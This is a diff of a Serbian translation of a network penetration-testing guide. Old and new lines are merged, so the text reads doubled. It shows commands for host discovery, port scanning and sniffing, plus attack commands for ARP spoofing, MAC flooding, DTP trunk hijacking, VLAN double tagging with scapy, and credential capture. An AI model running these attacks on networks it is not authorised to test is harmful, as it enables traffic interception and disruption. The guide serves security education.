xdmcp._
### Otkrivanje SCTP portova ### SCTP Otkriće Portova
```bash ```bash
#Probably useless, but it's pretty fast, why not trying? #Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range> nmap -T4 -sY -n --open -Pn <IP/range>
``` ```
## Testiranje bezbednosti Wifi mreže ## Pentesting Wifi
Ovde možete pronaći koristan vodič sa svim poznatim napadima na Wifi mreže u vreme pisanja: Ovde možete pronaći lep vodič o svim poznatim Wifi napadima u vreme pisanja:
{% content-ref url="../pentesting-wifi/" %} {% content-ref url="../pentesting-wifi/" %}
[pentesting-wifi](../pentesting-wifi/) [pentesting-wifi](../pentesting-wifi/)
{% endcontent-ref %} {% endcontent-ref %}
## Otkrivanje računara unutar mreže ## Otkriće hostova iznutra
Ako se nalazite unutar mreže, jedna od prvih stvari koje ćete želeti da uradite jeste **otkrivanje drugih računara**. Zavisno od **koliko buke** možete/želite da napravite, mogu se izvršiti različite radnje: Ako ste unutar mreže, jedna od prvih stvari koje ćete želeti da uradite je da **otkrijete druge hostove**. U zavisnosti od **koliko buke** možete/želite da napravite, različite akcije se mogu izvesti:
### Pasivno ### Pasivno
Možete koristiti ove alate za pasivno otkrivanje računara unutar povezane mreže: Možete koristiti ove alate za pasivno otkrivanje hostova unutar povezane mreže:
```bash ```bash
netdiscover -p netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log p0f -i eth0 -p -o /tmp/p0f.log
@ -86,10 +89,10 @@ net.recon on/off #Read local ARP cache periodically
net.show net.show
set net.show.meta true #more info set net.show.meta true #more info
``` ```
### Aktivno ### Active
Imajte na umu da se tehnike komentarisane u [_**Otkrivanje domaćina spolja**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Otkrivanje portova_) takođe mogu **primeniti ovde**.\ Napomena da se tehnike komentarisane u [_**Otkrivanju hostova sa spoljne strane**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Otkriće portova_) takođe mogu **primeniti ovde**.\
Međutim, pošto ste u **istoj mreži** kao i drugi domaćini, možete uraditi **više stvari**: Ali, pošto ste u **isto mreži** kao i ostali hostovi, možete raditi **više stvari**:
```bash ```bash
#ARP discovery #ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs) nmap -sn <Network> #ARP Requests (Discover IPs)
@ -109,34 +112,34 @@ set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6 #IPv6
alive6 <IFACE> # Send a pingv6 to multicast. alive6 <IFACE> # Send a pingv6 to multicast.
``` ```
### Aktivni ICMP ### Active ICMP
Imajte na umu da se tehnike komentarisane u _Otkrivanje hostova spolja_ ([_**ICMP**_](./#icmp)) takođe mogu **primeniti ovde**.\ Napomena da se tehnike komentarisane u _Otkrivanju hostova sa spolja_ ([_**ICMP**_](./#icmp)) takođe mogu **primeniti ovde**.\
Međutim, pošto ste u **istoj mreži** kao i drugi hostovi, možete uraditi **više stvari**: Ali, pošto ste u **isto mreži** kao i ostali hostovi, možete uraditi **više stvari**:
* Ako **pingujete** **subnet broadcast adresu**, ping bi trebalo da stigne do **svakog hosta** i oni bi mogli da vam **odgovore**: `ping -b 10.10.5.255` * Ako **pingujete** **adresu za emitovanje podmreže**, ping bi trebao da stigne do **svakog hosta** i oni bi mogli da **odgovore** **vama**: `ping -b 10.10.5.255`
* Pingovanjem **network broadcast adrese** čak možete pronaći hostove unutar **drugih subnetova**: `ping -b 255.255.255.255` * Pingovanjem **adresu za emitovanje mreže** mogli biste čak pronaći hostove unutar **drugih podmreža**: `ping -b 255.255.255.255`
* Koristite zastave `-PE`, `-PP`, `-PM` u `nmap` za obavljanje otkrivanja hostova slanjem odgovarajuće **ICMPv4 echo**, **timestamp** i **subnet mask zahteva:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` * Koristite `-PE`, `-PP`, `-PM` zastavice `nmap` za otkrivanje hostova slanjem **ICMPv4 echo**, **vremenskih oznaka**, i **zahteva za masku podmreže:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
### **Budjenje preko LAN-a** ### **Wake On Lan**
Budjenje preko LAN-a se koristi za **uključivanje** računara putem **mrežne poruke**. Čarobni paket koji se koristi za uključivanje računara je samo paket u kojem je naveden **MAC Dst** i zatim se **ponavlja 16 puta** unutar istog paketa.\ Wake On Lan se koristi za **uključivanje** računara putem **mrežne poruke**. Magični paket koji se koristi za uključivanje računara je samo paket u kojem je **MAC Dst** naveden, a zatim se **ponavlja 16 puta** unutar istog paketa.\
Ovakve vrste paketa obično se šalju u **ethernet 0x0842** ili u **UDP paketu na port 9**.\ Ove vrste paketa se obično šalju u **ethernet 0x0842** ili u **UDP paketu na port 9**.\
Ako **nije pružen \[MAC]**, paket se šalje na **broadcast ethernet** (i broadcast MAC će biti onaj koji se ponavlja). Ako **nema \[MAC]** naveden, paket se šalje na **emitovanje ethernet** (a emitovani MAC će biti onaj koji se ponavlja).
```bash ```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
``` ```
## Skeniranje Hostova ## Skenerisanje hostova
Kada ste otkrili sve IP adrese (spoljne ili unutrašnje) koje želite detaljno skenirati, mogu se izvršiti različite radnje. Kada otkrijete sve IP adrese (spoljašnje ili unutrašnje) koje želite detaljno skenirati, mogu se izvršiti različite radnje.
### TCP ### TCP
* **Otvoren** port: _SYN --> SYN/ACK --> RST_ * **Otvoren** port: _SYN --> SYN/ACK --> RST_
* **Zatvoren** port: _SYN --> RST/ACK_ * **Zatvoren** port: _SYN --> RST/ACK_
* **Filtriran** port: _SYN --> \[BEZ ODGOVORA]_ * **Filtriran** port: _SYN --> \[NEMA ODGOVORA]_
* **Filtriran** port: _SYN --> ICMP poruka_ * **Filtriran** port: _SYN --> ICMP poruka_
```bash ```bash
# Nmap fast scan for the most 1000tcp ports used # Nmap fast scan for the most 1000tcp ports used
@ -153,10 +156,10 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
Postoje 2 opcije za skeniranje UDP porta: Postoje 2 opcije za skeniranje UDP porta:
* Pošaljite **UDP paket** i proverite odgovor _**ICMP nedostupno**_ ako je port **zatvoren** (u nekim slučajevima ICMP će biti **filtriran** pa nećete dobiti informaciju da li je port zatvoren ili otvoren). * Pošaljite **UDP paket** i proverite odgovor _**ICMP unreachable**_ ako je port **zatvoren** (u nekoliko slučajeva ICMP će biti **filtriran** pa nećete dobiti nikakve informacije ako je port zatvoren ili otvoren).
* Pošaljite **formatirane datagrame** da biste izazvali odgovor od **servisa** (npr. DNS, DHCP, TFTP i drugi, kao što je navedeno u _nmap-payloads_). Ako dobijete **odgovor**, onda je port **otvoren**. * Pošaljite **formatirane datagrame** da izazovete odgovor od **usluge** (npr., DNS, DHCP, TFTP i druge, kako je navedeno u _nmap-payloads_). Ako dobijete **odgovor**, onda je port **otvoren**.
**Nmap** će **mešati obe** opcije koristeći "-sV" (UDP skeniranja su veoma spora), ali imajte na umu da su UDP skeniranja sporija od TCP skeniranja: **Nmap** će **kombinovati obe** opcije koristeći "-sV" (UDP skeniranja su veoma spora), ali imajte na umu da su UDP skeniranja sporija od TCP skeniranja:
```bash ```bash
# Check if any of the most common udp services is running # Check if any of the most common udp services is running
udp-proto-scanner.pl <IP> udp-proto-scanner.pl <IP>
@ -168,34 +171,34 @@ nmap -sU -sV -sC -n -F -T4 <IP>
nmap -sU -sV --version-intensity 0 -n -T4 <IP> nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time # You could use nmap to test all the UDP ports, but that will take a lot of time
``` ```
### SCTP Skeniranje ### SCTP Scan
**SCTP (Protokol za kontrolu toka prenosa)** dizajniran je da se koristi uz **TCP (Protokol za kontrolu prenosa)** i **UDP (Protokol za korisničke datagrame)**. Njegova glavna svrha je olakšavanje prenosa telefonskih podataka preko IP mreža, oponašajući mnoge od karakteristika pouzdanosti koje se nalaze u **Signalizacijskom sistemu 7 (SS7)**. **SCTP** je osnovna komponenta porodičnog protokola **SIGTRAN**, koji ima za cilj prenos SS7 signala preko IP mreža. **SCTP (Stream Control Transmission Protocol)** je dizajniran da se koristi zajedno sa **TCP (Transmission Control Protocol)** i **UDP (User Datagram Protocol)**. Njegova glavna svrha je da olakša transport telefonskih podataka preko IP mreža, odražavajući mnoge karakteristike pouzdanosti koje se nalaze u **Signaling System 7 (SS7)**. **SCTP** je osnovna komponenta **SIGTRAN** protokol porodice, koja ima za cilj transport SS7 signala preko IP mreža.
Podrška za **SCTP** pružena je različitim operativnim sistemima, poput **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** i **VxWorks**, što ukazuje na široko prihvatanje i korisnost u oblasti telekomunikacija i mrežnih veza. Podršku za **SCTP** pružaju različiti operativni sistemi, kao što su **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, i **VxWorks**, što ukazuje na njegovu široku prihvaćenost i korisnost u oblasti telekomunikacija i umrežavanja.
Nmap nudi dva različita skeniranja za SCTP: _-sY_ i _-sZ_ Dva različita skeniranja za SCTP nudi nmap: _-sY_ i _-sZ_
```bash ```bash
# Nmap fast SCTP scan # Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP> nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan # Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP> nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
``` ```
### Ekvazija IDS i IPS ### IDS i IPS izbegavanje
{% content-ref url="ids-evasion.md" %} {% content-ref url="ids-evasion.md" %}
[ids-evasion.md](ids-evasion.md) [ids-evasion.md](ids-evasion.md)
{% endcontent-ref %} {% endcontent-ref %}
### **Više opcija za nmap** ### **Više nmap opcija**
{% content-ref url="nmap-summary-esp.md" %} {% content-ref url="nmap-summary-esp.md" %}
[nmap-summary-esp.md](nmap-summary-esp.md) [nmap-summary-esp.md](nmap-summary-esp.md)
{% endcontent-ref %} {% endcontent-ref %}
### Otkrivanje internih IP adresa ### Otkivanje unutrašnjih IP adresa
**Ponekad loše konfigurisani ruteri, firewall-i i mrežni uređaji** odgovaraju na mrežne upite koristeći **nejavne izvorne adrese**. **tcpdump** se može koristiti za identifikaciju paketa primljenih sa privatnih adresa tokom testiranja. Konkretno, na Kali Linux-u, paketi mogu biti uhvaćeni na **eth2 interfejsu**, koji je dostupan sa javnog interneta. Važno je napomenuti da ako je vaša postavka iza NAT-a ili Firewall-a, takvi paketi verovatno će biti filtrirani. **Pogrešno konfigurisani ruteri, vatrozidi i mrežni uređaji** ponekad odgovaraju na mrežne probe koristeći **nejavne izvorne adrese**. **tcpdump** se može koristiti za identifikaciju paketa primljenih sa privatnih adresa tokom testiranja. Konkretno, na Kali Linux-u, paketi se mogu uhvatiti na **eth2 interfejsu**, koji je dostupan sa javnog Interneta. Važno je napomenuti da, ako je vaša konfiguracija iza NAT-a ili vatrozida, takvi paketi verovatno neće biti propušteni.
```bash ```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -203,11 +206,11 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
``` ```
## Snifing ## Sniffing
Snifingom možete saznati detalje opsega IP adresa, veličine podmreža, MAC adrese i imena hostova pregledanjem uhvaćenih okvira i paketa. Ako je mreža loše konfigurisana ili je prekidački sloj pod stresom, napadači mogu uhvatiti osetljive materijale putem pasivnog snifinga mreže. Sniffing možete saznati detalje o IP opsezima, veličinama podmreža, MAC adresama i nazivima hostova pregledanjem uhvaćenih okvira i paketa. Ako je mreža pogrešno konfigurisana ili je switching fabric pod stresom, napadači mogu uhvatiti osetljive materijale putem pasivnog mrežnog sniffinga.
Ako je preklopljena Ethernet mreža pravilno konfigurisana, videćete samo emitovane okvire i materijal namenjen vašoj MAC adresi. Ako je preklopna Ethernet mreža pravilno konfigurisana, videćete samo broadcast okvire i materijale namenjene vašoj MAC adresi.
### TCPDump ### TCPDump
```bash ```bash
@ -215,7 +218,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
tcpdump -i <IFACE> icmp #Listen to icmp packets tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
``` ```
Može se, takođe, snimati pakete sa udaljene mašine preko SSH sesije sa Wireshark-om kao GUI-em u realnom vremenu. Može se, takođe, uhvatiti pakete sa udaljenog računara preko SSH sesije koristeći Wireshark kao GUI u realnom vremenu.
``` ```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
@ -233,15 +236,15 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
Očigledno. Očigledno.
### Snimanje pristupnih podataka ### Capturing credentials
Možete koristiti alate poput [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) za parsiranje pristupnih podataka iz pcap datoteke ili sa živog interfejsa. Možete koristiti alate kao što su [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) za parsiranje kredencijala iz pcap-a ili sa aktivnog interfejsa.
## Napadi na LAN ## LAN attacks
### ARP prevara ### ARP spoofing
ARP prevara se sastoji od slanja lažnih ARP odgovora kako bi se naznačilo da IP adresa mašine ima MAC adresu našeg uređaja. Zatim, žrtva će promeniti ARP tabelu i kontaktiraće naš uređaj svaki put kada želi da kontaktira IP adresu koja je lažirana. ARP Spoofing se sastoji u slanju besplatnih ARP odgovora kako bi se naznačilo da IP mašine ima MAC našeg uređaja. Tada će žrtva promeniti ARP tabelu i kontaktirati našu mašinu svaki put kada želi da kontaktira IP koji je spoofovan.
#### **Bettercap** #### **Bettercap**
```bash ```bash
@ -257,25 +260,25 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1 arpspoof -t 192.168.1.2 192.168.1.1
``` ```
### MAC poplava - preplavljivanje CAM tabele ### MAC Flooding - CAM overflow
Preplavite CAM tabelu prekidača slanjem velikog broja paketa sa različitim izvornim MAC adresama. Kada je CAM tabela puna, prekidač počinje da se ponaša kao hub (emitovanje saobraćaja). Preplavite CAM tabelu prekidača slanjem velikog broja paketa sa različitim izvornih MAC adresama. Kada je CAM tabela puna, prekidač počinje da se ponaša kao hub (šalje sve saobraćaje).
```bash ```bash
macof -i <interface> macof -i <interface>
``` ```
U modernim prekidačima ova ranjivost je ispravljena. U modernim prekidačima ova ranjivost je ispravljena.
### 802.1Q VLAN / DTP Napadi ### 802.1Q VLAN / DTP napadi
#### Dinamičko trunkovanje #### Dinamičko trunkovanje
**Protokol dinamičkog trunkovanja (DTP)** dizajniran je kao protokol sloja veze kako bi olakšao automatski sistem za trunkovanje, omogućavajući prekidačima automatski odabir portova za režim trunka (Trunk) ili režim non-trunka. Implementacija **DTP** često se smatra pokazateljem suboptimalnog dizajna mreže, ističući važnost ručnog konfigurisanja trunkova samo tamo gde je potrebno i osiguravanja odgovarajuće dokumentacije. **Dynamic Trunking Protocol (DTP)** je dizajniran kao protokol na link sloju kako bi olakšao automatski sistem za trunkovanje, omogućavajući prekidačima da automatski biraju portove za trunk mod (Trunk) ili non-trunk mod. Implementacija **DTP** se često smatra pokazateljem suboptimalnog dizajna mreže, naglašavajući važnost ručne konfiguracije trunkova samo gde je to neophodno i osiguranje pravilne dokumentacije.
Prema podrazumevanim podešavanjima, portovi prekidača postavljeni su da rade u režimu Dinamički auto, što znači da su spremni da pokrenu trunkovanje ako ih podstakne susedni prekidač. Bezbednosna zabrinutost nastaje kada pentester ili napadač poveže sa prekidačem i pošalje DTP željeni okvir, prisiljavajući port da uđe u režim trunka. Ova akcija omogućava napadaču da nabraja VLAN-ove kroz analizu STP okvira i zaobilazi segmentaciju VLAN-ova postavljanjem virtuelnih interfejsa. Podrazumevano, portovi prekidača su postavljeni da rade u Dynamic Auto modu, što znači da su spremni da iniciraju trunkovanje ako ih susedni prekidač na to podstakne. Bezbednosna zabrinutost se javlja kada se pentester ili napadač poveže na prekidač i pošalje DTP Desirable okvir, primoravajući port da pređe u trunk mod. Ova akcija omogućava napadaču da enumeriše VLAN-ove kroz analizu STP okvira i zaobiđe VLAN segmentaciju postavljanjem virtuelnih interfejsa.
Prisustvo DTP-a u mnogim prekidačima podrazumevano može biti iskorišćeno od strane protivnika da imitira ponašanje prekidača, čime dobija pristup saobraćaju preko svih VLAN-ova. Skripta [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) koristi se za praćenje interfejsa, otkrivajući da li je prekidač u podrazumevanom, trunk, dinamičkom, auto ili pristup režimu - poslednji je jedina konfiguracija imuna na napade VLAN hopping-a. Ovaj alat procenjuje status ranjivosti prekidača. Prisutnost DTP u mnogim prekidačima podrazumevano može biti iskorišćena od strane protivnika da oponaša ponašanje prekidača, čime se stiče pristup saobraćaju kroz sve VLAN-ove. Skripta [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) se koristi za praćenje interfejsa, otkrivajući da li je prekidač u Default, Trunk, Dynamic, Auto ili Access modu—potonji je jedina konfiguracija imuna na VLAN hopping napade. Ovaj alat procenjuje status ranjivosti prekidača.
U slučaju identifikacije ranjivosti mreže, alat _**Yersinia**_ može se koristiti za "omogućavanje trunkovanja" putem DTP protokola, omogućavajući posmatranje paketa sa svih VLAN-ova. Ukoliko se identifikuje ranjivost mreže, alat _**Yersinia**_ može biti korišćen za "omogućavanje trunkovanja" putem DTP protokola, omogućavajući posmatranje paketa iz svih VLAN-ova.
```bash ```bash
apt-get install yersinia #Installation apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali sudo apt install kali-linux-large #Another way to install it in Kali
@ -288,20 +291,20 @@ yersinia -G #For graphic mode
``` ```
![](<../../.gitbook/assets/image (269).png>) ![](<../../.gitbook/assets/image (269).png>)
Za enumeraciju VLAN-ova takođe je moguće generisati DTP Desirable ram sa skriptom [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. N**emojte prekidati skriptu pod bilo kojim okolnostima. Ona ubacuje DTP Desirable svakih tri sekunde. **Dinamički kreirani trunk kanali na prekidaču žive samo pet minuta. Nakon pet minuta, trunk nestaje.** Da biste enumerisali VLAN-ove, takođe je moguće generisati DTP Desirable okvir pomoću skripte [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. **Ne prekidajte skriptu ni pod kojim okolnostima. Ona injektuje DTP Desirable svake tri sekunde. **Dinamčki kreirani trunk kanali na switch-u žive samo pet minuta. Nakon pet minuta, trunk se gasi.**
``` ```
sudo python3 DTPHijacking.py --interface eth0 sudo python3 DTPHijacking.py --interface eth0
``` ```
Želim da istaknem da **Pristup/Poželjan (0x03)** ukazuje da je DTP okvir tipa Poželjan, što govori portu da prebaci u Trunk režim. I **802.1Q/802.1Q (0xa5)** označava tip enkapsulacije **802.1Q**. Želeo bih da naglasim da **Access/Desirable (0x03)** označava da je DTP okvir tipa Desirable, što govori portu da pređe u Trunk režim. A **802.1Q/802.1Q (0xa5)** označava tip enkapsulacije **802.1Q**.
Analizom STP okvira, **saznajemo o postojanju VLAN-a 30 i VLAN-a 60.** Analizom STP okvira, **saznajemo o postojanju VLAN 30 i VLAN 60.**
<figure><img src="../../.gitbook/assets/image (124).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (124).png" alt=""><figcaption></figcaption></figure>
#### Napadi na specifične VLAN-ove #### Napad na specifične VLAN-ove
Kada saznate VLAN ID-ove i IP vrednosti, možete **konfigurisati virtuelni interfejs da napadnete određeni VLAN**.\ Kada znate VLAN ID-ove i IP vrednosti, možete **konfigurisati virtuelno sučelje za napad na specifičan VLAN**.\
Ako DHCP nije dostupan, koristite _ifconfig_ za postavljanje statičke IP adrese. Ako DHCP nije dostupan, koristite _ifconfig_ da postavite statičku IP adresu.
``` ```
root@kali:~# modprobe 8021q root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250 root@kali:~# vconfig add eth1 250
@ -334,153 +337,155 @@ sudo vconfig add eth0 30
sudo ip link set eth0.30 up sudo ip link set eth0.30 up
sudo dhclient -v eth0.30 sudo dhclient -v eth0.30
``` ```
#### Automatski VLAN skakač #### Automatic VLAN Hopper
Razmatrani napad **Dinamičko prebacivanje i kreiranje virtuelnih interfejsa za otkrivanje hostova unutar** drugih VLAN-ova **automatski se izvodi** pomoću alata: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) Napad o **dinamičkom trunkingu i kreiranju virtuelnih interfejsa za otkrivanje hostova unutar** drugih VLAN-ova se **automatski izvršava** alatom: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
#### Dvostruko označavanje #### Double Tagging
Ako napadač zna vrednost **MAC adrese, IP adrese i VLAN ID-a žrtvenog hosta**, može pokušati **dvostruko označiti okvir** sa svojim određenim VLAN-om i VLAN-om žrtve i poslati paket. Pošto **žrtva neće moći da se poveže nazad** sa napadačem, **najbolja opcija za napadača je komunicirati putem UDP-a** sa protokolima koji mogu izvršiti neke zanimljive akcije (kao što je SNMP). Ako napadač zna vrednost **MAC, IP i VLAN ID žrtve**, može pokušati da **duplo označi okvir** sa svojim dodeljenim VLAN-om i VLAN-om žrtve i pošalje paket. Kako **žrtva neće moći da se poveže nazad** sa napadačem, **najbolja opcija za napadača je komunikacija putem UDP-a** sa protokolima koji mogu izvršiti neke zanimljive akcije (kao što je SNMP).
Druga opcija za napadača je da pokrene **TCP skeniranje porta lažirajući IP adresu kojom upravlja napadač i kojoj žrtva može pristupiti** (verovatno preko interneta). Zatim, napadač može špijunirati drugi host koji mu pripada da vidi da li prima pakete od žrtve. Druga opcija za napadača je da pokrene **TCP port skeniranje lažirajući IP koji kontroliše napadač i koji je dostupan žrtvi** (verovatno putem interneta). Tada bi napadač mogao da prisluškuje na drugom hostu koji mu pripada ako primi neke pakete od žrtve.
![](<../../.gitbook/assets/image (190).png>) ![](<../../.gitbook/assets/image (190).png>)
Da biste izveli ovaj napad, možete koristiti scapy: `pip install scapy` Da biste izvršili ovaj napad, možete koristiti scapy: `pip install scapy`
```python ```python
from scapy.all import * from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker) # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet) sendp(packet)
``` ```
#### Bypassiranje Lateralne VLAN Segmentacije <a href="#d679" id="d679"></a> #### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
Ako imate **pristup prekidaču kojem ste direktno povezani**, imate mogućnost da **zaobiđete VLAN segmentaciju** unutar mreže. Jednostavno **prebacite port u režim trunke (trunk)**, kreirajte virtuelne interfejse sa ID-ovima ciljanih VLAN-ova, i konfigurišite IP adresu. Možete pokušati zatražiti adresu dinamički (DHCP) ili je konfigurisati statički. To zavisi od slučaja. Ako imate **pristup switch-u na koji ste direktno povezani**, imate mogućnost da **obiđete VLAN segmentaciju** unutar mreže. Jednostavno **prebacite port u trunk mode** (poznat i kao trunk), kreirajte virtuelne interfejse sa ID-evima ciljanih VLAN-ova i konfigurišite IP adresu. Možete pokušati da zatražite adresu dinamički (DHCP) ili je možete konfigurisati statički. To zavisi od slučaja.
{% content-ref url="lateral-vlan-segmentation-bypass.md" %} {% content-ref url="lateral-vlan-segmentation-bypass.md" %}
[lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md) [lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md)
{% endcontent-ref %} {% endcontent-ref %}
#### Bypassiranje Privatne VLAN na Nivou 3 #### Layer 3 Private VLAN Bypass
U određenim okruženjima, kao što su gostujuće bežične mreže, postavke **izolacije porta (poznate i kao privatne VLAN)** se implementiraju kako bi se sprečilo da klijenti povezani sa bežičnom tačkom pristupa direktno komuniciraju jedni sa drugima. Međutim, identifikovana je tehnika koja može zaobići ove mere izolacije. Ova tehnika iskorišćava ili nedostatak ACL-ova u mreži ili njihovu nepravilnu konfiguraciju, omogućavajući IP paketima da budu rutirani preko rutera kako bi stigli do drugog klijenta na istoj mreži. U određenim okruženjima, kao što su mreže za goste, **izolacija portova (poznata i kao privatni VLAN)** postavke se implementiraju kako bi se sprečilo da klijenti povezani na bežični pristupni tačku direktno komuniciraju jedni s drugima. Međutim, identifikovana je tehnika koja može zaobići ove mere izolacije. Ova tehnika koristi ili nedostatak mrežnih ACL-ova ili njihovu nepravilnu konfiguraciju, omogućavajući IP paketima da se rutiraju kroz ruter kako bi došli do drugog klijenta na istoj mreži.
Napad se izvodi kreiranjem **paketa koji nosi IP adresu odredišnog klijenta ali sa MAC adresom rutera**. Ovo uzrokuje da ruter greškom prosledi paket ciljnom klijentu. Ovaj pristup je sličan onome koji se koristi u napadima sa dvostrukim označavanjem, gde se sposobnost kontrole nad hostom koji je dostupan žrtvi koristi za iskorišćavanje sigurnosne greške. Napad se izvršava kreiranjem **paketa koji nosi IP adresu odredišnog klijenta, ali sa MAC adresom rutera**. To uzrokuje da ruter greškom prosledi paket ciljanom klijentu. Ovaj pristup je sličan onom koji se koristi u Double Tagging Attacks, gde se sposobnost kontrole hosta dostupnog žrtvi koristi za iskorišćavanje sigurnosne slabosti.
**Ključni Koraci Napada:** **Ključni koraci napada:**
1. **Kreiranje Paketa:** Paket je posebno kreiran da uključuje IP adresu ciljnog klijenta ali sa MAC adresom rutera. 1. **Kreiranje paketa:** Paket je posebno kreiran da uključuje IP adresu ciljanog klijenta, ali sa MAC adresom rutera.
2. **Iskorišćavanje Ponašanja Rutera:** Kreirani paket se šalje do rutera, koji, zbog konfiguracije, preusmerava paket ka ciljnom klijentu, zaobilazeći izolaciju koju pružaju postavke privatne VLAN. 2. **Iskorišćavanje ponašanja rutera:** Kreirani paket se šalje ka ruteru, koji, zbog konfiguracije, preusmerava paket ka ciljanom klijentu, zaobilazeći izolaciju koju pružaju postavke privatnog VLAN-a.
### Napadi VTP-a ### VTP Attacks
VTP (VLAN Trunking Protocol) centralizuje upravljanje VLAN-ovima. Koristi revizijske brojeve za održavanje integriteta baze podataka VLAN-ova; svaka modifikacija povećava ovaj broj. Prekidači usvajaju konfiguracije sa većim revizijskim brojevima, ažurirajući svoje VLAN baze podataka. VTP (VLAN Trunking Protocol) centralizuje upravljanje VLAN-ovima. Koristi brojeve revizije za održavanje integriteta VLAN baze podataka; svaka izmena povećava ovaj broj. Switch-evi usvajaju konfiguracije sa višim brojevima revizije, ažurirajući svoje VLAN baze podataka.
#### Uloge Domena VTP-a #### VTP Domain Roles
* **VTP Server:** Upravlja VLAN-ovima—kreira, briše, modifikuje. Emituje VTP obaveštenja članovima domena. * **VTP Server:** Upravljanje VLAN-ovima—kreira, briše, modifikuje. Emituje VTP obaveštenja članovima domena.
* **VTP Klijent:** Prima VTP obaveštenja radi sinhronizacije svoje VLAN baze podataka. Ova uloga je ograničena od lokalnih modifikacija konfiguracije VLAN-ova. * **VTP Client:** Prima VTP obaveštenja kako bi sinhronizovao svoju VLAN bazu podataka. Ova uloga je ograničena od lokalnih modifikacija VLAN konfiguracije.
* **VTP Transparent:** Ne učestvuje u VTP ažuriranjima već prosleđuje VTP obaveštenja. Nezahvaćen VTP napadima, održava konstantan revizijski broj nula. * **VTP Transparent:** Ne učestvuje u VTP ažuriranjima, ali prosleđuje VTP obaveštenja. Nije pogođen VTP napadima, održava konstantan broj revizije nula.
#### Tipovi Obaveštenja VTP-a #### VTP Advertisement Types
* **Sažeto Obaveštenje:** Emituje ga VTP server svakih 300 sekundi, noseći bitne informacije o domenu. * **Summary Advertisement:** Emituje ga VTP server svake 300 sekundi, noseći suštinske informacije o domenu.
